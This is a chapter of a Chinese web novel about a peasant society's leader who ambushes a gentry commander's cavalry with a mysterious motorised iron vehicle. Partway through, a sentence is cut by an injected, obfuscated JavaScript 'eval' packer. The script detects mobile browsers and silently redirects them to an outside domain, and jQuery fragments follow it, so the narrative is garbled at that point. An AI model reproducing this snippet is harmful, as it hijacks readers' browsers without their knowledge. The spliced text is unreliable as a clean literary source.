115. 擒首
作品:《铁娘子她怎么登基称帝了》 陈君辅安坐帐中,马三言却如坐针毡,以往他还敢在刘今钰面前摆谱,如今看着她便觉得心慌。
“殿下现下便怕刘社长打入城中,将他牵连进去。”陈君辅温声道,“更怕刘社长率人破城后,放纵暴民抢了江川王府。”
刘今钰闻言有些惊诧,“这是你家殿下要你说的?”
陈君辅道,“自然不是。殿下好歹是宗室,岂会说这种示弱的话?殿下发了很大的火,叫余骂醒刘社长,但刘社长从未‘睡着’,又如何‘醒’?
“余知晓殿下虽愤恨,却恐惧更甚。他怕朝廷日后清算他,更怕‘暴民’夺他家业取他性命。刘社长向来待人以诚,是以余认为将话说明白更为妥当。
“请刘社长给余一个准话,是否破城?若破城,是否会纵军民劫掠邵阳城?”
刘今钰轻笑一声,一点讥讽似有若无,“这城破不破,不是我说了算,是满城官绅说了算。
“他们若放人、惩治恶徒,我们自会退走。他们若不放人、不惩治恶徒,我们便要破城。”
陈君辅不意外却也意外,“只要放人、惩戒恶徒,你们便走?”
刘今钰反问,“不然哩?我社提交万民书,难不成是一纸笑话?乡里万余农户每天在城下催促,莫非是在游戏取乐?”
陈君辅叹息一声,“刘社长的条件说来容易,却……”他摇摇头,“恐怕让他们减租,都比让他们低头认错简单。”
刘今钰不以为意地说道,“他们愿不愿认错,都得认罚。我社破入城中,便会放走无辜佃户,惩治作恶官绅。至于陈先生所担心的事,实属对我社的污蔑。”
陈君辅点了点头,笑道,“来而不往非礼也。既然刘社长愿意解惑,余便送与刘社长一桩‘秘闻’。”
刘今钰来了兴致,“喔?”
陈君辅道,“今日彭克濬与唐懋钦等人去分守道署见了李道台。也不知彭克濬等人说了甚么,李道台写了一篇极长的呈文。
“李道台此前染疾,一直身体不好。听闻写文时一时激动吐了血,写罢便昏迷不醒。那泣血呈文,此刻应在彭克濬手中。”
刘今钰嗤笑一声,“这是要去告状了?”
陈君辅笑而不语,喝了口热茶,便拱手告辞。
“且慢,”刘今钰突然起身,在陈马二人诧异的眼神中取来一支箭,“马先生,请将此物交与令侄。”
马三言心头一震,眼神抗拒想要拒绝,可又承受不住刘今钰的凝视,只得接过那箭。
那箭箭身有一片黑色的污渍,将一个字遮掩住,只能辨别出“靖”字。
“请马先生转告令侄,为虎作伥,便要血债血偿。”
刘今钰的话让马三言惊骇无比,他有些语无伦次地说道,“马之骅只是老夫族侄,已出了五服,与老夫……”
“马先生,我只是托你送话罢了,这点小忙也不愿帮?”
刘今钰声音稍稍抬高,马三言身子一颤,立即应下,看得陈君辅不由地嘴角一抽。
“这便对了。”
刘今钰将陈马二人送出营帐,眼见唐廷瀚杨文煊迎面走来,便让唐廷瀚送陈马出营盘,自己拉着杨文煊回了主帐。
杨文煊屁股还没坐稳,刘今钰便急不可耐地说,“事不宜迟,你该回谱口冲了。”
“出了什么事?这么急!”杨文煊有些紧张。
刘今钰将城中之事一说,便自信满满地说道,“我原以为彭克济会先去武冈搬救兵,看来我高估他的面子了。彭克濬这就等不及了,说明彭克济很快便会动手。
“如今保家队与护乡队分散在邵阳城、罗城和东乡。邵阳城人极多,罗城和东乡太远也不重要,反倒是咱们老巢防守空虚。彭克济只要不是傻子,定然会去谱口冲。”
杨文煊哼了一声,“你叫我回去,真不怕我被彭克济逮住?”
刘今钰笑道,“他现在可不会逮你了,他定会杀了你。刘林祯刺杀你,我原来一直没想通为何,如今全明白了,他是在逼我造反。
“我反了,他施展空间便大了。镇压住反叛,他大功一件。即便镇压不住,只要在官兵救援前守住邵阳城,他也有功劳。”
“老刘,早听说权力会异化人,你这家伙,还没称王呢,就连我的命都能放上赌盘了!”杨文煊瞪她,泪水在眼角打转。
“别装,你演技太差,我看着只想笑。”刘今钰白他一眼,“舍得孩子才能套住狼。老杨,就委屈你回去引诱彭克济,务必将他那支骑兵歼灭!”
……
十几匹马从山坡上奔驰而下,尘土飞扬。
熟铺乱作一团,老少在邻长指挥下匆忙布置拒马,男丁健妇则手持长矛、大刀、梭镖等武器守在村头,紧张又恐惧地看着敌人越来越近。
一支箭飞过来,几人吓得将手中梭镖掷出,却不想敌人不但没有攻入村中,连停都未曾停留一下。
熟铺众人松了一口气,邻长却又急急忙忙唤人将此事报与里魁。
远去的十余骑兵在远离熟铺后停下休整。
彭克济看向方才射箭的骑士,眼中冰冷至极。
作为他亲信的中年骑士想说什么,他却摆了摆手,低声说道,“等回去再治他的罪。老夫说了多少次,莫要耽搁,莫要节外生枝,总有人不当回事!”
中年骑士点头应下,彭克济却又蹙眉说道,“贼社非同一般。”
中年骑士心下一惊,便听彭克济有些恍然地说道,“你瞧大陂团的村子便知。见我等经过,俱是慌乱逃窜。可方才那村子……”
彭克济兀地一声叹息,“所幸找遍全府,凑出这十几匹勉强能骑的滇马。否则,这宝庆一府,还有谁能制那妖女?”
中年骑士安静听着,心里却惊讶万分,他还是第一次见自家老爷这般愁闷,似乎还透着点束手无措的无奈。
“也是老夫小看了那妖女,高看了那熊茂松。”彭克济目光冷峻,“哼!熊茂松!若非他软弱无能,老夫岂会出此下策!
“还有那帮废物!嘴上斥责妖女谋逆,只为拿她下狱,却无一人真信那妖女会造反。为何?不就因妖女是个女人么?当真是读书读昏了头!
“一步慢,步步慢。起初便未曾真正重视过那妖女,如今才会被人拿捏,陷入这般窘迫的境地!”
彭克济骂人出气,中年骑士只能在一旁听着。
彭克济骂累了,便给马喂豆子。
马吃饱了,他便上了马,“休整够了,便该走了。现下定有人去谱口冲报信了,接下来,需得一口气跑到谱口冲!”
滇马速度不快,但有耐力。
若不是距离谱口冲尚有近二十里,还得翻山越岭,本可以不耽误时间休整喂马。
他们一路不停,不到三刻钟便从下义江桥进了谱口冲。
“老爷,看来那妖女十分托大,谱口冲防守竟这般空虚!”中年骑士有些兴奋,“此前土匪夜袭,大同社都能击败。如今我等进了谱口冲,却无人发现……”
话音未落,彭克济便勒紧缰绳,“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503347|159702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对劲!”
众骑随之停下,皆一头雾水。
彭克济环顾四周,沉声道,“人人都说谱口冲繁华,在南乡仅次于五峰铺。可码头无人,村中无人,人都去哪了?”
中年骑士面色一凛,“莫非大同社发现我等了?可若是发现了,毁桥便是,为何要逃窜?”
“或许是谱口冲防守真的空虚,即便毁桥,也没法召来更多人,我等绕路过去,他们仍是死路一条,是以躲进了山里。”彭克济思索着,“也或许……有阴谋!”
“阴谋?”中年骑士有些不信,“老爷,我等来得这般突然,他们便是发现也定然是刚刚发现,这么快便想好对付我等的法子,莫非大同社有诸葛孔明?
“何况我等有马,此处山不高水不深,轻易便能逃走,大同社有何法子能留下我等?”
彭克济沉思片刻,“你且带两人去前边打探一番。”
中年骑士应下,立即点出两骑随他深入谱口冲。
他不怕什么“阴谋”,他身上披着甲,胯|下的马是骑士里最好的两匹之一,他又骑术精湛,谁能留住他?
但他养成的习惯让他十分谨慎,三人小心翼翼、慢悠悠架马踱步去谱口冲深处。
不怕一万就怕万一,阴沟里翻船就不美了。
然而真没人,没有行人,没有埋伏在山林中或是房屋中的人,路上也没有陷阱。
绕着山走了一里路,他们才发现东北两里处的大村子挤满了人。
中年骑士大喜,架马到大村近前,只见几十个人手忙脚乱地安放拒马,一见他来便大喊大叫,像无头苍蝇似的乱窜,好一会才有人拿起武器。
他大笑一声,立即折回,将此事告知彭克济。
“定是在檀江巡逻的发现我等,知晓在河边拦不住我等,便龟缩至那大村处。”中年骑士颇为兴奋,“那大村房屋众多,他们定是想凭借房屋防守。”
彭克济总觉得不对劲,但亲信的分析并无太大问题。
骑兵不好打巷战,何况他们人数太少,若借着房屋防守,确实比在河边仓促应敌强。
大同社还是有聪明人的。
但这一仗却并非不能打了,至少他要去看看能不能打,确定打不了再走便是。
“走!”
他一下令,众骑便喜冲冲地往谱口冲里跑。
大同社富得流油,他们若能抢上一抢,那这辈子都不愁吃喝了!
见到十余骑逼近,村头的人一哄而散,众骑发出胜利的大笑,彭克济心底却涌上不安。
村里跑出几人,将拒马挪开。
彭克济心头一惊,停下马大喊,“停……”
“下”字还没出口,什么东西嗖嗖冲上天空,嘭得一声炸开。
西面紧接着一声轰隆巨响。
马儿被惊吓,彭克济只得紧紧抓住缰绳,胯|下用力,稳住坐骑。
他惊疑不定,不知大同社有何阴谋,只听村里又传来一阵嗡嗡嗡的巨响,一个不知是何物的庞然大物从村里的土路冲了出来。
那像是极厚的铁皮造出的前面突出一块的巨大盒子。
盒子上部是透明的,他可以看见一个披甲戴盔的男人坐在盒子内,双手抓住圆盘。
盒子的速度极其快,比他见过的最快的马还要快,他完全不知道这么庞大的铁盒子是如何动起来的。
他也不需要知道了。
他逃跑时坐骑被追上来的坐骑撞断了腿,他身子一歪,从马上摔下,没了意识。